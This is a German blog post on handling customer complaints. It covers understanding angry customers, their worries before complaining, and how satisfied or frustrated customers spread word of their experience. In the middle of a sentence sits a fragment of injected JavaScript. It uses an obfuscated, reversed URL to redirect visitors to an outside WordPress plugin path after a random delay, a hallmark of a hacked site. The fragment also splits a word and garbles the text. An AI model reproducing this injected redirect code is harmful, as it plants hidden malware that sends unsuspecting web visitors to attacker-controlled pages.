Mancher Kunde hat sich vielleicht auf seinen Beschwerde-Anruf gut vorbereitet. Oder verwendet Stunden seiner wertvollen Zeit, um einen mehrseitigen Reklamationsbrief – oder Email – zu schreiben. Dabei kommt der ganze Frust noch einmal hoch, so dass es für Ihren Kunden fast unmöglich ist, sachlich zu bleiben. Jetzt gilt der Leitsatz:
Kunden verstehen.
Je nach Typ des Kunden werden die Beschwerden mehr oder weniger heftig vorgetragen. Der Kunde bringt seine Reklamation auch je nach momentaner, persönlicher Stimmungslage spontan, subjektiv, verärgert, impulsiv, zynisch, sarkastisch, manchmal verletzend, verallgemeinernd, oder noch anders, vor.
Trotzdem: Seien Sei froh, dass sich Ihr Kunde bei Ihnen beschwert.
Laut einer aktuellen Statistik beschweren sich 96 % der Kunden überhaupt nicht!
Lesen Sie in einem separaten Blog-Beitrag mehr darüber:
Ein Unternehmen, das keine Reklamationen hat, das hat (wahrscheinlich) keine Kunden.
Wenn jetzt schon ein Kunde bereit ist bei Ihnen zu reklamieren und wenn Sie Ihrem Kunden eindeutig zeigen, dass Sie seinen Unmut, oder seine Verärgerung verstehen, haben Sie einen wichtigen ersten Schritt in einer gelungenen Reklamations-Behandlung gesetzt.
„Gehen Sie in den Schuhen Ihres Kunden“
Situation des Kunden verstehen
Verstehen Sie auch die Lage Ihres reklamierenden Kunden. Nicht nur, dass es für ihn persönlich unangenehm ist zu reklamieren, möglicherweise setzt der Vorgesetzte Ihres Kunden ihn zusätzlich unter Druck, wenn er vielleicht folgendes zu ihm sagt:
„Sie allein tragen die Verantwortung dafür …“ oder
„Wir erwarten eine sofortige Lösung des Problems“,
Vielleicht zeigt Ihnen Ihr Kunde mit seiner Aggressivität so seinen selbst „erlittenen“ Druck.
Hören Sie Ihrem Kunden unvoreingenommen zu. So erfahren Sie leichter seine wahren Probleme.
Hier ein Blog-Beitrag, wenn Sie mehr zum Thema Zuhören lesen wollen:
Jede Reklamation hat meist zwei Aspekte: Einen sachlichen Hintergrund und eine emotionale Komponente. Sie kennen sicher solche Beispiele. Beim vorgebrachten Kunden-Problems, handelt es sich nicht nur um einen Sachverhalt handelt, sondern auch meist um eine emotionale Belastung.
Unzufriedene Kunden gibt es immer wieder. Die Frage ist nur: „Wie viele sind es?“
Und die zweite Frage: „Kennen Sie Ihre unzufriedenen Kunden?“
In diesen Zeiten weiß niemand so wirklich, was im Internet über einen verbreitet wird. Es gibt jedoch elegante Methoden, das herauszufinden.
Wenn Sie mehr darüber lesen wollen:
Wut-Ausbrüche bei Kunden-Beschwerden
Leicht führen direkt erlebte Frustrationserlebnisse zu aggressiven emotionalen Reaktionen. Je nach Typ des Kunden werden Beschwerden mehr oder weniger heftig vorgebracht. Unangenehm sind sie immer, weil sie doch meist unerwartet kommen.
Viele Menschen schrecken bei der Annahme von Reklamationen vor den Wutanfällen, cholerischen Ausrastern oder lautstarken Killerphrasen des Kunden reflexartig zurück. Sie empfinden vielleicht solche Aktionen als persönliche Angriffe.Oft fehlt diesen Menschen die erforderliche Schlagfertigkeit.
Wenn Sie an praktischen Tipps zur Erweiterung Ihrer Schlagfertigkeit interessiert sind,lesen Sie diesen Blog-Beitrag:
Kunden verstehen – Hier liegt Ihre große Chance
Vielleicht hat Ihr Kunde – vor oder während er seine Beschwerde vorbringt – Gedanken, wie beispielsweise
Wird es zu einer Auseinandersetzung kommen?
Wird man mir betrügerische Absichten unterstellen?
Wird man mich beschimpfen?
Wird sich der ganze Aufwand überhaupt lohnen?
Werde ich eine Entschädigung bekommen?
Im Geiste stellt sich Ihr Kunde auf Unangenehmes ein. Er hofft natürlich auf eine faire Behandlung.
In Ihrer positiven Reaktion liegt Ihre Chance. Ihr Kunde wird von Ihnen besser behandelt, als er dachte. Je nach Ihrem Ermessen erhält Ihr Kunde vielleicht einen Bonus, den er gar nicht erhofft hatte. Dies gibt ihm ein gutes Gefühl, etwas erreicht zu haben. Darüber wird er stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolz bei seinen Freunden und Bekannten erzählen. Im realen Leben und in den sozialen Medien.
Wahrscheinlich drei bis vier Mal
Wenn jedoch Ihr Kunde in bürokratischen Strukturen verloren geht, oder in einem Zuständigkeits-Sumpf untergetaucht wird, wird er sich enttäuscht rächen. Bei seinen Freunden und Bekannten. Real und in den sozialen Medien.
Mit Sicherheit mindestens zehn Mal.
Lassen Sie es nicht soweit kommen!
In diesem separaten Beitrag finden Sie kompakt viele Tipps für Ihre beste Reklamations-Behandlung:
Verstehen Sie Ihre Kunden, dann verstehen Ihre Kunden auch Sie
Und Action:
Richard Wagner
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